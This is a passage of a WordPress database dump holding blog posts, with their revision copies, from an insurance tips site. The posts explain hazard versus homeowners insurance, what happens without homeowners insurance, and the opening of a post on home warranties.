named-peril, it usually protects against the same 16 events listed under an HO-2 policy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"11rOM3\">Is Hazard Insurance Required?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Hazard insurance is not required by law. However, the lender who gave you the loan to buy your home almost always requires hazard insurance. This is because the structure of your home acts as collateral for the loan. If you fail to pay your mortgage, the bank could take your home and resell it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Keep in mind that it’s only the structure of the house that the mortgage lender cares about, which means their insurance requirements are usually only for dwelling and other structures coverage. It’s up to you to decide if you want more protection in the form of personal property, loss of use, liability, and medical payments coverage.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"HHfovb\">Hazard Insurance vs. Homeowners Insurance: Cost</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>The national average cost for homeowners insurance in 2017 was about $101 per month, according to the Insurance Information Institute. Because hazard insurance is typically included in homeowners insurance, it doesn’t have a specific cost.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Your insurance premium may be higher or lower depending on the following factors:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>Claims history</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Credit score</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Marital status</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Number and types of pets</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Cost of living</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Your home is in a high-risk area</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Susceptibility to natural disasters</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Rebuilding cost of your home</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Proximity to a fire station and fire hydrant</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Condition of your home</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Age of your home</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Square footage of your home</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"1ySUXV\">Our Conclusion</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>When deciding between hazard insurance and homeowners insurance, we recommend purchasing a comprehensive homeowners insurance policy with personal property, loss of use, liability, and medical payments to others protection, in addition to the dwelling and other structures coverage.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://www.thisoldhouse.com/home-finances/reviews/hazard-insurance-vs-homeowners-insurance\">click here.</a></p>\n<!-- /wp:paragraph -->','Hazard Insurance vs Homeowners Insurance','','publish','closed','closed','','hazard-insurance-vs-homeowners-insurance','','','2024-02-28 20:43:57','2024-02-28 20:43:57','',0,'https://smartinsurance.tips/?p=3867',0,'post','',0),(3868,1,'2024-02-28 20:42:11','2024-02-28 20:42:11','','Untitled-14','','inherit','closed','closed','','untitled-14-2','','','2024-02-28 20:42:11','2024-02-28 20:42:11','',3867,'http://smartinsurance.tips/wp-content/uploads/2024/02/Untitled-14.png',0,'attachment','image/png',0),(3869,1,'2024-02-28 20:43:57','2024-02-28 20:43:57','<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":3868,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/02/Untitled-14-1024x1024.png\" alt=\"\" class=\"wp-image-3868\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p>While hazard insurance only protects the structure of your home from damaging events like windstorms and fires, a homeowners insurance policy provides coverage for personal property, loss of use, liability, and medical payments to others.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"ryrSoz\">Hazard Insurance vs. Homeowners Insurance</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Keep reading to learn about the differences between hazard insurance and homeowners insurance and which policy is best for you.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"6cIaiY\">What Is Homeowners Insurance?</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Homeowners insurance is a type of insurance policy that protects your home from damaging events like fire and vandalism. If you don’t have an emergency budget to cover damages from these events, you can pay a monthly or annual premium to have an insurance provider cover those costs for you.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":4} -->\n<h4 class=\"wp-block-heading\" id=\"T4zKuL\">Types of Homeowners Insurance Coverage</h4>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Most homeowners insurance policies come with six areas of coverage:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li><strong>Dwelling</strong>—Dwelling coverage covers the cost of rebuilding your home if it’s damaged in an accident. This coverage protects all of the built-in elements of your home like the cabinetry, flooring, and walls. To determine how much protection you’ll need to cover the complete cost of rebuilding your home, you can use the estimate from your insurance company, talk to a local real estate appraiser, or purchase $100 to $155 of protection per square foot.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Other structures</strong>—This type of coverage protects the physical structures on your property that are detached from your home, like a garage, shed or fence. Other structures coverage is usually 10% of dwelling coverage.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Personal property</strong>—This protects your belongings in your home and when you’re on a trip. If your belongings are damaged, your policy will pay to replace them. Most policies start as actual cash value (ACV), which means your provider will only give you enough money to replace your items with ones of depreciated value. However, you can purchase a replacement-cost endorsement that will replace your damaged items with new items. Your property coverage is usually 50% of dwelling coverage.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Loss of use/additional living expenses</strong>—If an event damages your home and you can’t live there during repairs, your policy will pay for living expenses while you live in a hotel or temporary rental. This may include the cost of eating out for every meal, the cost of doing laundry, or the cost of your hotel room. This is usually 20% of dwelling coverage.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Liability</strong>—This protects you when you’re responsible for causing bodily injury or property damage to another person. The policy will cover medical bills, repair or replacement costs, and legal fees. We recommend purchasing enough coverage to protect all of your assets inside and outside of your home, as these items could be used as collateral if you’re sued. This is usually at least $300,000 for homeowners.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Medical payments to others</strong>—If a guest is injured on your property, your policy will pay for their medical bills. Most policies offer $1,000 to $5,000 of protection per person.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Insurance companies also offer endorsements that you can add to your policy for extra protection. These endorsements vary by company, but common ones include coverage for identity theft, earthquakes, valuable personal property, personal property replacement costs, and water backup.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"7NnEBO\">What Is Hazard Insurance?</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Hazard insurance isn’t a separate policy from homeowners insurance; it’s just the structural part of the home insurance policy that includes dwelling and other structures coverage. In general, hazard insurance covers damage caused by fires, severe storms, hail, sleet, and other natural events. It’s different from catastrophe insurance, which is a separate, freestanding policy that covers specific types of disasters.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Hazard coverage comes in two forms—named-peril and open-peril.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":4} -->\n<h4 class=\"wp-block-heading\" id=\"GFOvMt\">Named-Peril Policy</h4>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Named-peril policies only offer protection from the hazards listed as covered. A common named-peril policy is an HO-2 policy, which offers coverage for the following 16 events:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><!-- wp:list-item -->\n<li>Frozen plumbing</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Sudden and accidental tearing apart, cracking, burning, or bulging</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Volcanic eruption</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Sudden and accidental damage from an artificially generated electrical current</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Fire and lightning</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Windstorm and hail</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Accidental discharge or overflow of water or steam</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Weight of snow, sleet, or ice</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Explosion</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Riot or civil commotion</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Falling objects</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Vandalism</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Theft</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Smoke</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Aircrafts</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Vehicles</li>\n<!-- /wp:list-item --></ol>\n<!-- /wp:list -->\n\n<!-- wp:heading {\"level\":4} -->\n<h4 class=\"wp-block-heading\" id=\"TSjKG2\">Open-Peril Policy</h4>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Open-peril policies cover all events, except the ones listed as exclusions. An example of this type of policy would be an HO-3 policy, which is what most insurance companies use for single-family homes. These are the common exclusions listed under an open-peril policy:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>Neglect</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Power failure</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Ordinance or law</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>War</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Nuclear hazard</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Water damage from flooding</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Earth movements like landslides, earthquakes, subsidence, mudslides, and sinkholes</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Mold, fungus, or wet rot, unless it’s hidden within the walls, ceilings, or floors and is a result of plumbing failure</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Intentional loss</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Governmental action</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Mischievous acts</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Birds, vermin, rodents, or insects</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Note: While an HO-3 policy isn’t named-peril, it usually protects against the same 16 events listed under an HO-2 policy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"11rOM3\">Is Hazard Insurance Required?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Hazard insurance is not required by law. However, the lender who gave you the loan to buy your home almost always requires hazard insurance. This is because the structure of your home acts as collateral for the loan. If you fail to pay your mortgage, the bank could take your home and resell it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Keep in mind that it’s only the structure of the house that the mortgage lender cares about, which means their insurance requirements are usually only for dwelling and other structures coverage. It’s up to you to decide if you want more protection in the form of personal property, loss of use, liability, and medical payments coverage.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"HHfovb\">Hazard Insurance vs. Homeowners Insurance: Cost</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>The national average cost for homeowners insurance in 2017 was about $101 per month, according to the Insurance Information Institute. Because hazard insurance is typically included in homeowners insurance, it doesn’t have a specific cost.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Your insurance premium may be higher or lower depending on the following factors:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>Claims history</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Credit score</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Marital status</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Number and types of pets</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Cost of living</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Your home is in a high-risk area</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Susceptibility to natural disasters</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Rebuilding cost of your home</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Proximity to a fire station and fire hydrant</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Condition of your home</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Age of your home</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Square footage of your home</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"1ySUXV\">Our Conclusion</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>When deciding between hazard insurance and homeowners insurance, we recommend purchasing a comprehensive homeowners insurance policy with personal property, loss of use, liability, and medical payments to others protection, in addition to the dwelling and other structures coverage.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://www.thisoldhouse.com/home-finances/reviews/hazard-insurance-vs-homeowners-insurance\">click here.</a></p>\n<!-- /wp:paragraph -->','Hazard Insurance vs Homeowners Insurance','','inherit','closed','closed','','3867-revision-v1','','','2024-02-28 20:43:57','2024-02-28 20:43:57','',3867,'https://smartinsurance.tips/?p=3869',0,'revision','',0),(3870,1,'2024-02-28 20:49:59','2024-02-28 20:49:59','<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":3871,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/02/Untitled-17-1024x1024.png\" alt=\"\" class=\"wp-image-3871\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p>If a fire, natural disaster, or other event were to destroy your home, you could lose everything you own Few homeowners have the financial resources on hand to immediately rebuild their home or replace their belongings. With homeowners insurance, your insurance provider will cover these costs. Below, we’ll explain what could happen if you don’t have homeowners insurance in different scenarios and how to find the best homeowners policy for you.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">What Is Homeowners Insurance?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Homeowners insurance coverage provides financial compensation for your home, property, and personal belongings in the event of destruction from natural disaster, criminal behavior, or other covered perils. It also protects you from having to pay for medical bills or replacement items if you injure someone or damage their property.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A homeowners insurance policy can be categorized into six types of coverage:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Dwelling</strong>: Protects the home itself and anything built into it, like the floors, walls, HVAC system, electrical, and plumbing</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Other structures</strong>: Protects detached structures on your property like fences, sheds, and garages</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Personal property</strong>: Covers the cost of replacement items if your personal belongings are damaged</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Loss of use</strong>: Pays for living expenses, like the cost of a temporary rental or hotel room, if you have to leave your home during repairs</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Liability</strong>: If you’re responsible for injuring someone or damaging their belongings, your policy will pay for any associated expenses, including legal fees if you’re sued</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Medical payments to others</strong>: If a guest is injured on your property, your policy will pay for their medical bills</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"is-homeowners-insurance-required\">Is Homeowners Insurance Required?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Homeowners insurance isn’t required by law in any state. However, per the Insurance Information Institute if you take out a loan to purchase your home, your lending institution will likely require coverage for your dwelling and other structures until you pay off the loan. Usually, you’ll need to insure your home for the full cost of rebuilding it if it is destroyed. This ensures that if you stop paying your mortgage, the lender has a properly functioning home to take and resell to get their money back.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Once your mortgage is paid off, the lender can no longer require you to continue paying for homeowners insurance. However, your insurance is one expense you shouldn’t try to do without. This policy protects you from a number of different financial disasters.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>5 Scenarios That Can Be Avoided With Homeowners Insurance<br>Whether you’re still paying your mortgage or not, homeowners insurance provides vital protection for your finances from a number of different scenarios:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><!-- wp:list-item -->\n<li>Your lender sends your loan into default</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>You have trouble selling your home</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>An event destroys your home and you can’t afford to fix it</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Your home is burglarized and you can’t afford to replace your belongings</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Someone gets injured on your property and sues you</li>\n<!-- /wp:list-item --></ol>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"find-the-best-homeowners-insurance\">How To Find the Best Homeowners Insurance</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>If you’re ready to buy homeowners insurance, keep these factors in mind:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li><strong>Decide on your budget</strong>: Start the process by determining how much room you have in your budget each month for homeowners insurance. If you’re having trouble finding a company that fits within your budget, see if you qualify for discounts or choose a higher deductible to lower your premium.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Determine how much coverage you need</strong>: Your dwelling, other structures, personal property, and loss of use coverage will be calculated using the rebuilding cost of your home. You can determine your coverage needs by talking to an appraiser, purchasing $100 to $155 of protection per square foot, or using the estimate provided by your insurance company. For liability coverage, you’ll want to purchase enough protection to cover the value of all of your assets.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Talk to your auto insurance provider</strong>: If you’re happy with your car insurance company, we recommend getting a home insurance quote from them. This will give you coverage from a company you trust, often at a reduced price because of a bundling discount.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Compare at least three quotes</strong>: Different insurance companies offer a variety of coverage options at different prices. The only way to know what policy will work best for you and your home is to get quotes from several companies and compare them.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"conclusion\">Our Conclusion</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>A homeowners insurance policy is a vital part of your budget. While it may not be required by law, it could be the only thing that stands between you and financial ruin should your home and property be destroyed. Even on a paid-off home insurance is well worth the cost for the financial peace of mind. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://www.thisoldhouse.com/home-finances/reviews/what-happens-if-you-dont-have-homeowners-insurance\">click here.</a></p>\n<!-- /wp:paragraph -->','What Happens If You Don’t Have Homeowners Insurance?','','publish','closed','closed','','what-happens-if-you-dont-have-homeowners-insurance','','','2024-02-28 20:49:59','2024-02-28 20:49:59','',0,'https://smartinsurance.tips/?p=3870',0,'post','',0),(3871,1,'2024-02-28 20:48:19','2024-02-28 20:48:19','','Untitled-17','','inherit','closed','closed','','untitled-17-3','','','2024-02-28 20:48:19','2024-02-28 20:48:19','',3870,'http://smartinsurance.tips/wp-content/uploads/2024/02/Untitled-17.png',0,'attachment','image/png',0),(3872,1,'2024-02-28 20:49:59','2024-02-28 20:49:59','<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":3871,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/02/Untitled-17-1024x1024.png\" alt=\"\" class=\"wp-image-3871\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p>If a fire, natural disaster, or other event were to destroy your home, you could lose everything you own Few homeowners have the financial resources on hand to immediately rebuild their home or replace their belongings. With homeowners insurance, your insurance provider will cover these costs. Below, we’ll explain what could happen if you don’t have homeowners insurance in different scenarios and how to find the best homeowners policy for you.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">What Is Homeowners Insurance?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Homeowners insurance coverage provides financial compensation for your home, property, and personal belongings in the event of destruction from natural disaster, criminal behavior, or other covered perils. It also protects you from having to pay for medical bills or replacement items if you injure someone or damage their property.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A homeowners insurance policy can be categorized into six types of coverage:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Dwelling</strong>: Protects the home itself and anything built into it, like the floors, walls, HVAC system, electrical, and plumbing</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Other structures</strong>: Protects detached structures on your property like fences, sheds, and garages</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Personal property</strong>: Covers the cost of replacement items if your personal belongings are damaged</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Loss of use</strong>: Pays for living expenses, like the cost of a temporary rental or hotel room, if you have to leave your home during repairs</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Liability</strong>: If you’re responsible for injuring someone or damaging their belongings, your policy will pay for any associated expenses, including legal fees if you’re sued</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Medical payments to others</strong>: If a guest is injured on your property, your policy will pay for their medical bills</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"is-homeowners-insurance-required\">Is Homeowners Insurance Required?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Homeowners insurance isn’t required by law in any state. However, per the Insurance Information Institute if you take out a loan to purchase your home, your lending institution will likely require coverage for your dwelling and other structures until you pay off the loan. Usually, you’ll need to insure your home for the full cost of rebuilding it if it is destroyed. This ensures that if you stop paying your mortgage, the lender has a properly functioning home to take and resell to get their money back.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Once your mortgage is paid off, the lender can no longer require you to continue paying for homeowners insurance. However, your insurance is one expense you shouldn’t try to do without. This policy protects you from a number of different financial disasters.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>5 Scenarios That Can Be Avoided With Homeowners Insurance<br>Whether you’re still paying your mortgage or not, homeowners insurance provides vital protection for your finances from a number of different scenarios:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><!-- wp:list-item -->\n<li>Your lender sends your loan into default</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>You have trouble selling your home</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>An event destroys your home and you can’t afford to fix it</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Your home is burglarized and you can’t afford to replace your belongings</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Someone gets injured on your property and sues you</li>\n<!-- /wp:list-item --></ol>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"find-the-best-homeowners-insurance\">How To Find the Best Homeowners Insurance</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>If you’re ready to buy homeowners insurance, keep these factors in mind:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li><strong>Decide on your budget</strong>: Start the process by determining how much room you have in your budget each month for homeowners insurance. If you’re having trouble finding a company that fits within your budget, see if you qualify for discounts or choose a higher deductible to lower your premium.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Determine how much coverage you need</strong>: Your dwelling, other structures, personal property, and loss of use coverage will be calculated using the rebuilding cost of your home. You can determine your coverage needs by talking to an appraiser, purchasing $100 to $155 of protection per square foot, or using the estimate provided by your insurance company. For liability coverage, you’ll want to purchase enough protection to cover the value of all of your assets.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Talk to your auto insurance provider</strong>: If you’re happy with your car insurance company, we recommend getting a home insurance quote from them. This will give you coverage from a company you trust, often at a reduced price because of a bundling discount.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Compare at least three quotes</strong>: Different insurance companies offer a variety of coverage options at different prices. The only way to know what policy will work best for you and your home is to get quotes from several companies and compare them.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"conclusion\">Our Conclusion</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>A homeowners insurance policy is a vital part of your budget. While it may not be required by law, it could be the only thing that stands between you and financial ruin should your home and property be destroyed. Even on a paid-off home insurance is well worth the cost for the financial peace of mind. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://www.thisoldhouse.com/home-finances/reviews/what-happens-if-you-dont-have-homeowners-insurance\">click here.</a></p>\n<!-- /wp:paragraph -->','What Happens If You Don’t Have Homeowners Insurance?','','inherit','closed','closed','','3870-revision-v1','','','2024-02-28 20:49:59','2024-02-28 20:49:59','',3870,'https://smartinsurance.tips/?p=3872',0,'revision','',0),(3873,1,'2024-02-28 21:00:05','2024-02-28 21:00:05','<!-- wp:paragraph -->\n<p>It might not be the safety net for repairs that you were hoping for.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":3874,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/02/Untitled-15-1024x1024.png\" alt=\"\" class=\"wp-image-3874\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0\">When you purchase a home, even a home that isn’t new, there is a very good chance that you will be offered a home warranty as a safety net against expensive, unforeseen repairs. It may sound like a great form of financial protection—but is it really the safety net that homeowners expect? Let’s find out if home warranties are worth it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block-callout-heading_1-0\">KEY TAKEAWAYS</h3>\n<!-- /wp:heading -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>A home warranty reassures a homebuyer and provides the seller with a measure of protection against complaints about home defects that arise after the sale closes.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>The improper maintenance clause common to warranties can mean the new homeowner isn’t really protected if something goes wrong and the previous owner hadn’t maintained the system properly.</li>\n<!-- /wp:list-item -->\n\n<!-- 